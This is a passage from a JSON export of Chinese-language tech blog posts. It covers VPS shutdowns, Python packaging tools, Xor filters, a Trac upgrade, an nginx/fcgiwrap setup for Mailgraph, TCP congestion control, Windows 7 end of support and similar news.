    "title": "教你怎麼設計爛 API"
  },
  {
    "id": "9346",
    "body": "前陣子有許多 VPS 同時宣佈停止營業的消息：「<a href=\"https://www.zdnet.com/article/20-vps-providers-to-shut-down-on-monday-giving-customers-two-days-to-save-their-data/\">20 VPS providers to shut down on Monday, giving customers two days to save their data</a>」。\r\n\r\n文章裡面列了 20 個 VPS，而這 20 個在 <a href=\"https://lowendbox.com/\">LowEndBox</a> 上都有出現，我就把搜尋的連結直接整理出來了，想確認的人可以展開來看 XDDD：\r\n\r\n<ul>\r\n<li><a href=\"https://lowendbox.com/?s=ArkaHosting&amp;searchsubmit=Find\">ArkaHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=Bigfoot+Servers&amp;searchsubmit=Find\">Bigfoot Servers</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=DCNHost&amp;searchsubmit=Find\">DCNHost</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=HostBRZ&amp;searchsubmit=Find\">HostBRZ</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=HostedSimply&amp;searchsubmit=Find\">HostedSimply</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=Hosting73&amp;searchsubmit=Find\">Hosting73</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=KudoHosting&amp;searchsubmit=Find\">KudoHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=LQHosting&amp;searchsubmit=Find\">LQHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=MegaZoneHosting&amp;searchsubmit=Find\">MegaZoneHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=n3Servers&amp;searchsubmit=Find\">n3Servers</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=ServerStrong&amp;searchsubmit=Find\">ServerStrong</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=SnowVPS&amp;searchsubmit=Find\">SnowVPS</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=SparkVPS&amp;searchsubmit=Find\">SparkVPS</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=StrongHosting&amp;searchsubmit=Find\">StrongHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=SuperbVPS&amp;searchsubmit=Find\">SuperbVPS</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=SupremeVPS&amp;searchsubmit=Find\">SupremeVPS</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=TCNHosting&amp;searchsubmit=Find\">TCNHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=UMaxHosting&amp;searchsubmit=Find\">UMaxHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=WelcomeHosting&amp;searchsubmit=Find\">WelcomeHosting</a></li>\r\n<li><a href=\"https://lowendbox.com/?s=X4Servers&amp;searchsubmit=Find\">X4Servers</a></li>\r\n</ul>\r\n\r\n話說我之前也中了兩個 (SupremeVPS 與 UMaxHosting)，後來就覺得 LowEndBox 上的站台都怪怪的... 結果最近就有人開一個站整理出倒閉表格 XDDD：「<a href=\"https://lowenddeadpool.info/\">LowEndDeadPool</a>」。\r\n\r\n開頭也講得很直接，現在 LowEndBox 基本上的貨色基本上都是... XD：\r\n\r\n<blockquote>As of December 2019, it is pretty safe to say that all hosts listed at LowEndBox are a scam at best (except for QuadraNet and Virmach).</blockquote>\r\n\r\n現在得透過其他方式找...",
    "title": "許多 VPS 同時宣佈停止營業的消息"
  },
  {
    "id": "9347",
    "body": "看到「<a href=\"https://github.com/pypa/pipenv/issues/4058\">If this project is dead, just tell us</a>」這個，裡面討論到了 <a href=\"https://pypi.org/project/pipenv/\">pipenv</a> 的前景愈來愈讓人疑惑，要官方給個意見，結果下面就馬上有人建議跳槽到 <a href=\"https://python-poetry.org/\">poetry</a>。\r\n\r\n剛好前陣子看到另外一篇文章「<a href=\"https://jacobian.org/2019/nov/11/python-environment-2020/\">My Python Development Environment, 2020 Edition</a>」，裡面也提到了他把 pipenv 換成 poetry，而且提到了 pipenv 的問題：\r\n\r\n<blockquote>pipenv → poetry. This move’s more complex. I stoped using Pipenv for a couple of reasons:\r\n<ul>\r\n\t<li>Governance: the lead of Pipenv was someone with a history of not treating his collaborators well. That gave me some serious concerns about the future of the project, and of my ability to get bugs fixed.</li>\r\n\t<li>Bugs and rapid API changes. About a year ago, Pipenv had lots of bugs, and a rapid pace of change introducing or changing APIs. I ran into minor issues at least once a week. Nothing was seriously bad, but it generally felt fairly unstable. I kept having to update various automated deploy workflows to work around issues or changes to Pipenv.</li>\r\n</ul>\r\n</blockquote>\r\n\r\n看起來 tech stack 裡面要把 pipenv 轉移抽離了...",
    "title": "pipenv 的凋零與替代方案 poetry"
  },
  {
    "id": "9348",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Bloom_filter\">Bloom filter</a> 算是教科書上的經典演算法之一，在實際應用上有更好的選擇，像是先前提到的 <a href=\"https://en.wikipedia.org/wiki/Cuckoo_filter\">Cuckoo filter</a>：「<a href=\"https://blog.gslin.org/archives/2016/08/08/6718/cuckoo-filter%EF%BC%9A%E6%AF%94-bloom-filter-%E5%A4%9A%E4%BA%86-delete/\">Cuckoo Filter：比 Bloom Filter 多了 Delete</a>」。\r\n\r\n現在又有人提出新的資料結構，號稱又比 Bloom filter 與 Cuckoo filter 好：「<a href=\"https://lemire.me/blog/2019/12/19/xor-filters-faster-and-smaller-than-bloom-filters/\">Xor Filters: Faster and Smaller Than Bloom Filters</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/b8hWWt0.webp\" /><img src=\"https://i.gslin.com/imgur/b8hWWt0.jpg\" alt=\"\" /></picture>\r\n\r\n不過並不是完全超越，其中馬上可以看到的差異就是不支援 delete：\r\n\r\n<blockquote>Deletions are generally unsafe with these filters even in principle because they track hash values and cannot deal with collisions without access to the object data: if you have two objects mapping to the same hash value, and you have a filter on hash values, it is going to be difficult to delete one without the other.</blockquote>\r\n\r\n論文的預印本可以在 <a href=\"https://arxiv.org/\">arXiv</a> 上下載：「<a href=\"https://arxiv.org/abs/1912.08258\">Xor Filters: Faster and Smaller Than Bloom and Cuckoo Filters</a>」。",
    "title": "比 Bloom filter 與 Cuckoo filter 再更進一步的 Xor filter"
  },
  {
    "id": "9349",
    "body": "八月底的時候就已經出 <a href=\"https://trac.edgewall.org/\">Trac</a> 1.4 了 (參考當時寫的「<a href=\"https://blog.gslin.org/archives/2019/08/28/9175/trac-1-4/\">Trac 1.4</a>」)，不過當時升級一直失敗：\r\n\r\n<pre>$ trac-admin ./ upgrade\r\nError: Unable to check for upgrade of trac.db.api.DatabaseManager: TracError: Unsupported database type \"mysql\"</pre>\r\n\r\n後來在「<a href=\"https://unix.stackexchange.com/questions/417605/tracerror-unsupported-database-type-mysql\">TracError: Unsupported database type “mysql”</a>」這邊找到解法，下面有人提到解法是裝系統的 <a href=\"https://packages.ubuntu.com/search?keywords=python-pymysql\">python-pymysql</a>，那麼對應到 <a href=\"https://en.wikipedia.org/wiki/Pip_(package_manager)\">pip</a> 的套件安裝時，裝 <a href=\"https://pypi.org/project/PyMySQL/\">PyMySQL</a> 就可以了。\r\n\r\n另外一個比較麻煩的就是 Trac 的 <a href=\"https://trac-hacks.org/wiki/XmlRpcPlugin\">XmlRpcPlugin</a> 套件，這個套件其實一直都很 hack，常常是自己硬幹底層的東西跳過現有機制 (於是像是透過他開 ticket 時，就不會發通知信之類的問題)，但目前暫時又不能不用他...\r\n\r\nAnyway，這東西在升級後也爛掉了：「<a href=\"https://trac-hacks.org/ticket/13611\">Plugin fails on Trac 1.4</a>」，然後下面看到 <a href=\"https://github.com/Gasol\">Gasol</a> 修了一版出來：「<a href=\"https://github.com/Gasol/trac-xmlrpcplugin\">Gasol/trac-xmlrpcplugin</a>」。\r\n\r\n另外是我自己有掛 custom theme 的套件 <a href=\"https://trac-hacks.org/wiki/ThemeEnginePlugin\">ThemeEnginePlugin</a> 也爛掉了，不過這個暫時移除就好，之後再排進去修...\r\n\r\n最後就是把本來的 css/js 都依照「<a href=\"https://trac.edgewall.org/wiki/TracInterfaceCustomization\">Customizing the Trac Interface</a>」的說明，porting 到 <a href=\"https://jinja.palletsprojects.com/\">Jinja2</a> 下。\r\n\r\n主要就是把本來的 <code>site.html</code> 裡面的片段搬到 <code>site_head.html</code> 與 <code>site_footer.html</code> 裡，然後 CSS 的部份照著建議拆到 <code>style.css</code> 裡 (因為 css selector 的 id selector <code>#</code> 在一行開頭的位置會被 Jinja2 當作命令處理)。\r\n\r\n後續繼續看看還有什麼要修正的，另外 wiki 也得等摸索差不多後更新...",
    "title": "把自己的 Trac 換到 1.4"
  },
  {
    "id": "9352",
    "body": "在「<a href=\"https://simonwillison.net/2019/Dec/26/free-dev/\">free-for.dev</a>」這邊看到的資料，裡面提到了「<a href=\"https://free-for.dev/#/\">Free for developers</a>」這個網站。\r\n\r\n很多雲端服務都有提供 free tier，有些是一段期間免費，但有些是終身免費。光是用這些終身免費的部份，就能夠弄出不少東西了，只是很多人不知道有這些服務... 這個網站提供的列表則是很清楚的整理出來重點。\r\n\r\n然後剛剛才發現 <a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 服務本身每個月有免費的額度的 (頻寬另計)：\r\n\r\n<blockquote>When you call Amazon SES from an application hosted in Amazon EC2, you can send 62,000 messages per month at no charge. This Free Usage Tier benefit does not expire.</blockquote>\r\n\r\n而且列表裡列的豐富度，看起來可以取代掉之前我很喜歡翻的 <a href=\"https://github.com/cjbarber/ToolsOfTheTrade\">ToolsOfTheTrade</a>，至少可以當作互補...",
    "title": "雲端免費服務的整理"
  },
  {
    "id": "9353",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的消息，提供 CD 資訊的 <a href=\"http://www.freedb.org/en/\">freeDB</a> 將在明年三月底關閉：「<a href=\"https://news.ycombinator.com/item?id=21902652\">FreeDB Is Shutting Down (freedb.org)</a>」。\r\n\r\nfreeDB 的關閉算是一段歷史的終章，實際對使用者的影響應該不算大，一方面是 CD 的銷量逐漸下滑，另外一方面是因為現在的程式大多數會同時支援 freeDB 與 <a href=\"https://musicbrainz.org/\">MusicBrainz</a> (如果翻一下歷史的話，會注意到後者本來就是因為 freeDB 的授權結構而另外發展出來的服務)。\r\n\r\n現在幾乎都是用串流服務與 <a href=\"https://www.youtube.com/\">YouTube</a> 了...",
    "title": "freeDB 將在明年三月底關閉"
  },
  {
    "id": "9355",
    "body": "在「<a href=\"https://feeding.cloud.geek.nz/posts/encoding-wifi-access-point-passwords-qr-code/\">Encoding your WiFi access point password into a QR code</a>」這邊看到的，不過之前在公司頻道裡面也有看到類似的東西...\r\n\r\n產生這樣的 QR code 讓使用者掃就可以了：\r\n\r\n<pre>WIFI:T:WPA;S:&lt;SSID&gt;;P:&lt;PASSWORD&gt;;;</pre>\r\n\r\n放在家裡也不錯就是了，讓客人來可以直接掃，尤其是密碼超級長的時候...",
    "title": "用 QR Code 讓使用者可以直接登入 WiFi"
  },
  {
    "id": "9356",
    "body": "<a href=\"https://www.valvesoftware.com/\">Valve</a> 不允許轉賣 <a href=\"https://store.steampowered.com/\">Steam</a> 上的遊戲，結果就被告上法院，並且判決違反歐盟法律：「<a href=\"https://www.engadget.com/2019/09/19/french-court-valve-steam-resold/\">French court rules Steam games must be able to be resold</a>」。\r\n\r\n<blockquote>French website Next Inpact reports the Paris Court of First Instance ruled on Tuesday that European Union law allows Steam users to resell their digital games, just like they can any physical product.</blockquote>\r\n\r\n看起來 Steam 會上訴，再等幾個月看看...",
    "title": "法國法院判決 Steam 上的遊戲可以轉賣"
  },
  {
    "id": "9357",
    "body": "<a href=\"https://www.ptt.cc/\">Ptt</a> 開始關掉一些沒有加密的 <a href=\"https://en.wikipedia.org/wiki/Telnet\">Telnet</a> 登入方式：「<a href=\"https://www.ptt.cc/bbs/Announce/M.1577824347.A.DEE.html\">[公告] 正式支援Websocket連線/telnet連接埠調整</a>」。\r\n\r\n本來有 Telnet 很多 Port 可以連，現在限制到 Port 23：\r\n\r\n<blockquote>此外, PTT 將會逐漸關閉無加密的 telnet 連線方式.\r\nPTT 預計於 2020/03/01 起對 telnet 連接埠作以下調整.\r\n\r\n到 2020/02/29 止 telnet 連接埠: 23, 443, 3000-3010, 8888\r\n從 2020/03/01 起 telnet 連接埠: 23</blockquote>\r\n\r\n同時也宣布扶正 WebSocket 連線方式：\r\n\r\n<blockquote>經過一段時間的測試與參數微調後,\r\nWebsocket 已經足以支撐 PTT 的連線量,\r\nPTT 即日起將 Websocket 列入正式支援的連線方式.</blockquote>\r\n\r\n完全關閉不知道會是什麼時候，也許 2021 年？另外 Linux 下好像還是只有 SSH client 堪用，Websocket 還是只能透過瀏覽器操作...",
    "title": "Ptt 開始限縮 Telnet 協定連線方式"
  },
  {
    "id": "9358",
    "body": "這篇在討論，無論是 HTTP/1.1 時代，或是 HTTP/2 時代下 (裡面還包括了 HTTP/2 的 Server Push)，各種讓下載速度最佳化的技巧以及造成的複雜度：「<a href=\"https://evertpot.com/h2-parallelism/\">Performance testing HTTP/1.1 vs HTTP/2 vs HTTP/2 + Server Push for REST APIs</a>」。\r\n\r\n文章裡其中一個提到的是各類「打包」的技巧，也就是 JavaScript 的 bundle，或是 CSS 的 Image sprites，甚至是 API 的合併，像是很多人會考慮的 <a href=\"https://en.wikipedia.org/wiki/GraphQL\">GraphQL</a>。\r\n\r\n雖然在 HTTP/2 年代我們常說可以省下來，但這並不代表「打包」在 HTTP/2 情境下沒有效果，只是改善的幅度比較少，所以這個最佳化的技巧比起 HTTP/1.1 年代，可以放到後面一點再做，先把人力放到其他地方。但如果團隊工具已經熟悉打包技巧的話 (可能是以前就已經做好了)，其實繼續使用沒有太大問題...\r\n\r\n另外是 Server Push 的情境，意外的反而可以提昇不少速度，看起來主要是少了請求的時間，所以快不少。\r\n\r\n再來是跨網域時 <a href=\"https://en.wikipedia.org/wiki/Cross-origin_resource_sharing\">CORS</a> 的問題，在 Flash 的年代是一個 <code>crossdomain.xml</code> 解決，但現在的解法是多一個 <code>OPTIONS</code> request，反而造成很大的效能問題... 文章裡提到現在看起來有個 Draft 在發展與 Flash 類似的機制：「<a href=\"https://wicg.github.io/origin-policy/\">Origin Policy</a>」。\r\n\r\n作者在測試完後得到的結論其實跟蠻多「直覺」相反的：\r\n\r\n<blockquote><ul>\r\n\t<li>If speed is the overriding requirement, keep using compound documents.</li>\r\n\t<li>If a simpler, elegant API is the most important, having smaller-scoped, many endpoints is definitely viable.</li>\r\n\t<li>Caching only makes a bit of difference.</li>\r\n\t<li>Optimizations benefit the server more than the client.</li></ul></blockquote>",
    "title": "HTTP/1.1 與 HTTP/2 的最佳化技巧"
  },
  {
    "id": "9359",
    "body": "BBRv1 有不少問題，在 BBRv2 有一些改善 (目前還在測試階段，在「<a href=\"https://github.com/google/bbr/blob/v2alpha/README.md\">TCP BBR v2 Alpha/Preview Release</a>」這邊可以看到一些說明)，而 <a href=\"https://www.dropbox.com/\">Dropbox</a> 則是跳下去測試，並且公佈結果：「<a href=\"https://blogs.dropbox.com/tech/2019/12/evaluating-bbrv2-on-the-dropbox-edge-network/\">Evaluating BBRv2 on the Dropbox Edge Network</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7UohPVQ.webp\" /><img src=\"https://i.gslin.com/imgur/7UohPVQ.jpg\" alt=\"\" /></picture>\r\n<small>Spoiler alert: BBRv2 is slower than BBRv1 but that’s a good thing.</small>\r\n\r\n在文章開頭的這張圖就說明了 BBRv2 的速度比較慢，但是說明這是朝好的方向改善。\r\n\r\nBBRv1 的問題其實我自己都有遇到：我自己的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機跑 BBRv1，在我上傳大量資料的時候 (只開一條連線)，會導致 <a href=\"https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet\">PPPoE</a> 的 health check 失敗，於是就斷線了，另外 VM 裡面的 Windows 7 因為也是 bridge mode 跑 PPPoE，也可以看到斷線嘗試重連的訊息，於是只好改掉...\r\n\r\n上面提到的問題就是 BBRv1 造成 packet loss 過高，除了我遇到的問題外，這對於其他 loss-based 的 TCP congestion algorithm 來說會有很大的傷害 (i.e. 不公平)：\r\n\r\n<blockquote>Other tradeoffs were quite conceptual: BBRv1’s unfairness towards loss-based congestion controls (e.g. CUBIC, Compound), RTT-unfairness between BBRv1 flows, and (almost) total disregard for the packet loss:</blockquote>\r\n\r\n另外一個改善是 BBRv2 加入了 <a href=\"https://en.wikipedia.org/wiki/Explicit_Congestion_Notification\">ECN</a> 機制，可以更清楚知道塞住的情況。\r\n\r\n整體上來說應該會好不少，不知道之後正式釋出後會不會直接換掉 Linux Kernel 裡的 BBRv1，或是不換，讓 BBRv1 與 BBRv2 共存？",
    "title": "Dropbox 測試 BBRv2 的結果"
  },
  {
    "id": "9360",
    "body": "找被動散熱資料的時候翻到的，<a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\">Raspberry Pi</a> 4 有新的韌體可以刷，而新的韌體會降低一些功率消耗，也讓溫度降一些：「<a href=\"https://www.raspberrypi.org/blog/thermal-testing-raspberry-pi-4/\">Thermal testing Raspberry Pi 4</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UR94xEd.webp\" /><img src=\"https://i.gslin.com/imgur/UR94xEd.jpg\" alt=\"\" /></picture>\r\n\r\n會找被動散熱是因為手上的 Raspberry Pi (一代) 已經壞了兩顆風扇了，大概每年要換一次，風扇的成本是不高，但換起來總是頗麻煩...\r\n\r\n而新的 Raspberry Pi 4 在拿到後，發現整包附的是散熱片 + 風扇組合，跑起來也還不錯，但長遠來看還是希望找個被動散熱方案...\r\n\r\n目前看到幾個測試，一個是搜尋到在 <a href=\"https://www.reddit.com/\">Reddit</a> 上的「<a href=\"https://www.reddit.com/r/raspberry_pi/comments/cbqt19/raspberry_pi_4_heatsink_testing/\">Raspberry Pi 4 heatsink testing</a>」這篇 (或是作者自己的 blog 上：「<a href=\"https://confessionsofalinuxadmin.blogspot.com/2019/07/raspberry-pi-4-heatsink-testing.html\">Raspberry Pi 4 heatsink testing</a>」)，裡面提到散熱片夠大，或是用銅製散熱片，在全速跑的時候不會降速：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RXf9X3R.webp\" /><img src=\"https://i.gslin.com/imgur/RXf9X3R.jpg\" alt=\"\" /></picture>\r\n\r\n另外在「<a href=\"https://www.cnx-software.com/2019/07/25/review-raspberry-pi-4-ice-tower-cooling-fan/\">Raspberry Pi 4 ICE Tower CPU Cooling Fan Tested</a>」這邊也有看到不開風扇情況下，用散熱塔也行：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8F3TgXB.webp\" /><img src=\"https://i.gslin.com/imgur/8F3TgXB.jpg\" alt=\"\" /></picture>\r\n\r\n另外是整個機殼都拿來散熱的方式，看起來也還行：\r\n\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/VJC6OpGpq0Y\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen></iframe>\r\n\r\n如果真的不夠用而需要再拼的話，也許會考慮製冷片，不過先買個殼測試看看...",
    "title": "Raspberry Pi 4 的散熱問題"
  },
  {
    "id": "9362",
    "body": "看到 <a href=\"https://www.phpbb.com/community/\">phpBB</a> 公告的「<a href=\"https://www.phpbb.com/community/viewtopic.php?f=14&amp;t=2534536\">phpBB 3.2.9 Release - Please Update</a>」這邊，裡面提到了安全性更新的 <a href=\"https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures\">CVE</a> 編號：\r\n\r\n<blockquote>The issues have been assigned CVE-2020-5501 and CVE-2020-5502 respectively.</blockquote>\r\n\r\n想說今年也才過完六天而已... 撈了一下資料，發現寫這篇文章當下，CVE 編號已經被申請到 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5956\">CVE-2020-5956</a> 了，這速度有夠快 XDDD",
    "title": "CVE 成長速度好快啊..."
  },
  {
    "id": "9363",
    "body": "看到 <a href=\"https://www.archlinux.org/\">Arch Linux</a> 的公告，他們決定把套件的壓縮演算法從 <a href=\"https://en.wikipedia.org/wiki/XZ_Utils\">xz</a> 換成 <a href=\"https://en.wikipedia.org/wiki/Zstandard\">Zstandard</a>：「<a href=\"https://www.archlinux.org/news/now-using-zstandard-instead-of-xz-for-package-compression/\">Now using Zstandard instead of xz for package compression</a>」。\r\n\r\n從 xz 換成 Zstandard 主要的原因在於不用犧牲太多空間 (多 0.8% 的空間)，但解壓縮的速度可以大幅提昇 (提昇 13 倍)：\r\n\r\n<blockquote>zstd and xz trade blows in their compression ratio. Recompressing all packages to zstd with our options yields a total ~0.8% increase in package size on all of our packages combined, but the decompression time for all packages saw a ~1300% speedup.</blockquote>\r\n\r\n看起來是不斷發酵... 在幾個月前隔壁棚的 <a href=\"https://fedoraproject.org/\">Fedora</a> 先換過去了，計畫在「<a href=\"https://fedoraproject.org/wiki/Changes/Switch_RPMs_to_zstd_compression\">Changes/Switch RPMs to zstd compression</a>」這邊可以翻到，而 issue tracking system 上的記錄可以參考「<a href=\"https://pagure.io/fedora-docs/release-notes/issue/350\">Issue #350: F31 System-Wide Change: Switch RPMs to zstd compression - release-notes - Pagure.io</a>」。\r\n\r\n看起來會是趨勢了...",
    "title": "Arch Linux 決定把套件壓縮演算法從 xz 換成 Zstandard"
  },
  {
    "id": "9364",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的文章，作者遺失了 <a href=\"https://en.wikipedia.org/wiki/Amazon_Kindle\">Kindle</a>，但是確定在家裡 (因為在 router log 上看得到)：「<a href=\"https://ebooks.stackexchange.com/questions/7357/any-way-to-find-a-lost-kindle-inside-a-house\">Any way to find a lost Kindle inside a house?</a>」。\r\n\r\n然後作者發現每天早上五點半到六點半 Kindle 會自己同步，所以塞了一個夠大的 PDF 進去以確保有夠長的時間連在網路上，然後用三台跑 <a href=\"https://www.kali.org/\">Kali Linux</a> 的筆電定位，完全是一個殺雞用牛刀的概念 XDDD (還是他家真的超大？)\r\n\r\n但記得這要在剛遺失的時候就要找，不然等到 Kindle 的電池也沒電就沒救了 XDDD 以原文作者的情況，如果真的是這種 case 說不定到時候會拿金屬探測器掃 XDDD",
    "title": "在家裡遺失 Kindle 的找法..."
  },
  {
    "id": "9365",
    "body": "手上還是有固定一台機器是自己架設 <a href=\"http://www.postfix.org/\">Postfix</a> 管理郵件系統，所以還是想跑個 <a href=\"https://mailgraph.schweikert.ch/\">Mailgraph</a> 看一下有多少量在上面跑...\r\n\r\n不過因為 Mailgraph 的 web interface 只有 <a href=\"https://en.wikipedia.org/wiki/Common_Gateway_Interface\">CGI</a> 界面，但 <a href=\"https://nginx.org/\">nginx</a> 不支援 CGI，所以需要找個工具透過 nginx 支援的 <a href=\"https://en.wikipedia.org/wiki/FastCGI\">FastCGI</a> 轉換進去。\r\n\r\n概念與設定都不算太難，但是得把工具找齊才會動 (這段花了不少時間)，所以記錄一下怎麼做，以後找比較好找資料。\r\n\r\n首先先裝 Mailgraph 與 fcgiwrap：\r\n\r\n<pre>\r\nsudo apt install -y fcgiwrap mailgraph\r\n</pre>\r\n\r\n這兩個程式預設都會跑起來。如果沒有的話自己用 <code>sudo service fcgiwrap status</code> 與 <code>sudo service mailgraph status</code>。接下來在 nginx 的找個 virtual host 裡面這樣設：\r\n\r\n<pre>\r\n    location /mailgraph/ {\r\n        index mailgraph.cgi;\r\n\r\n        location ~ \\.cgi$ {\r\n            include fastcgi.conf;\r\n\r\n            fastcgi_pass unix:/var/run/fcgiwrap.socket;\r\n        }\r\n    }\r\n</pre>\r\n\r\n然後把 Mailgraph 的 CGI 與 css 透過 symbolic link 建到 document root 的 <code>mailgraph/</code> 下：\r\n\r\n<pre>\r\nexport DOCUMENT_ROOT=\"/srv/home.gslin.org\"\r\ncd \"${DOCUMENT_ROOT}\"\r\nsudo mkdir mailgraph\r\nsudo ln -s /usr/lib/cgi-bin/mailgraph.* .\r\n</pre>\r\n\r\n接著重讀設定檔，或是重跑 nginx，就應該可以在 <code>https://virtualhost.com/mailgraph/</code> 下看到了。",
    "title": "nginx + fcgiwrap (spawn-fcgi) + Mailgraph"
  },
  {
    "id": "9366",
    "body": "先前 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 桌機用 <a href=\"https://github.com/google/bbr\">BBR</a> 跑了一陣子，但有遇到一些問題 (可以參考「<a href=\"https://blog.gslin.org/archives/2020/01/03/9359/dropbox-%e6%b8%ac%e8%a9%a6-bbrv2-%e7%9a%84%e7%b5%90%e6%9e%9c/\">Dropbox 測試 BBRv2 的結果</a>」這篇)，所以暫時換成 <a href=\"https://en.wikipedia.org/wiki/TCP_Westwood\">Westwood</a>，但還是陸陸續續會看一下各種研究。\r\n\r\n剛剛在「<a href=\"https://lists.torproject.org/pipermail/tor-relays/2020-January/018069.html\">[tor-relays] TCP CCA for Tor Relays (and especially Bridges)</a>」這邊看到一個經驗談：\r\n\r\n<pre>\r\nHere are my completely unscientific scribbles of how all the various algorithms behaved. The scenario is uploading for a minute or so, observing the speed in MB/sec visually, then recording how it appeared to change during that minute (and then repeating this a couple of times to be certain).\r\n\r\ntcp_bic.ko       -- 6...5...4\r\ntcp_highspeed.ko -- 2\r\ntcp_htcp.ko      -- 1.5...3...2\r\ntcp_hybla.ko     -- 3...2...1\r\ntcp_illinois.ko  -- 6...7...10\r\ntcp_lp.ko        -- 2...1\r\ntcp_scalable.ko  -- 5...4...3\r\ntcp_vegas.ko     -- 2.5\r\ntcp_veno.ko      -- 2.5\r\ntcp_westwood.ko  -- &lt;1\r\ntcp_yeah.ko      -- 2...5...6</pre>\r\n\r\n上面是「目視法」觀察到的速度 (MB/sec)，看了一下維基百科上 <a href=\"https://en.wikipedia.org/wiki/TCP-Illinois\">TCP-Illinois</a> 的說明，看起來設計的目的是提供給頻寬大、latency 高的情境下：\r\n\r\n<blockquote>It is especially targeted at high-speed, long-distance networks.</blockquote>\r\n\r\n來跑跑看好了...",
    "title": "TCP Congestion Control Algorithm 的選擇"
  },
  {
    "id": "9368",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Windows_7\">Windows 7</a> 跳出畫面才發現 2020/01/14 終止支援，官方的說明可以在「<a href=\"https://support.microsoft.com/en-us/help/4057281/windows-7-support-ended-on-january-14-2020\">Windows 7 support ended on January 14, 2020</a>」這邊看到。維基百科上也查的到資料：\r\n\r\n<blockquote>Mainstream support ended on January 13, 2015.\r\nExtended support ended on January 14, 2020.\r\nExtended Security Updates paid in yearly installments for 1, 2, or 3 years (or free for Windows Virtual Desktop users) until at most January 10, 2023 only for Professional and Enterprise volume licensed editions.</blockquote>\r\n\r\n大量授權用戶可以採購延伸授權，另外 <a href=\"https://en.wikipedia.org/wiki/Windows_Virtual_Desktop\">Windows Virtual Desktop</a> (跑在 <a href=\"https://azure.microsoft.com/\">Azure</a> 上的版本) 則是免費提供。雖然沒有更新，但我猜可能還是會有人把 patch 整理出來讓使用者裝吧...",
    "title": "Windows 7 終止支援"
  },
  {
    "id": "9370",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 這次公告增加了新的節點，都是該地區的第一個點，可以大幅降低 latency：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/01/cloudfront-kenya-bulgaria-greece-hungary-romania/\">Amazon CloudFront launches in five new countries - Bulgaria, Greece, Hungary, Kenya, and Romania</a>」。\r\n\r\n這種點就是拿來認地名的，這波算是比較熟悉的... 保加利亞、希臘、匈牙利、肯亞、羅馬尼亞，拉維基百科的資料：\r\n\r\n<blockquote>保加利亞共和國（保加利亞語：Република България） 通稱保加利亞，是位於歐洲東南部巴爾幹半島上的一個國家。它與羅馬尼亞、塞爾維亞、北馬其頓、希臘和土耳其接壤，東部濱臨黑海。</blockquote>\r\n\r\n<blockquote>希臘共和國（希臘語：Ελληνική Δημοκρατία，希臘語發音：[eliniˈci ðimokraˈti.a]）[8][9]，通稱希臘（希臘語：Ελλάδα，希臘語發音：[eˈlaða]），是位於歐洲東南部的跨大洲國家。2019年其人口為1,080萬。雅典為希臘首都及最大城市，塞薩洛尼基為第二大城市。</blockquote>\r\n\r\n<blockquote>匈牙利（匈牙利語：Magyarország），是一個位於中歐的內陸國家[10]，但是長期和東歐、南歐歷史有關聯。匈牙利與奧地利、斯洛伐克、烏克蘭、羅馬尼亞、塞爾維亞、克羅埃西亞和斯洛維尼亞接壤，人口976萬，首都為布達佩斯。官方語言為匈牙利語，這是歐洲最廣泛使用的非印歐語系語言[11]。</blockquote>\r\n\r\n<blockquote>肯亞共和國（斯瓦希里語：Jamhuri ya Kenya，英語：Republic of Kenya，/ˈkɛnjə/，或/ˈkiːnjə/） 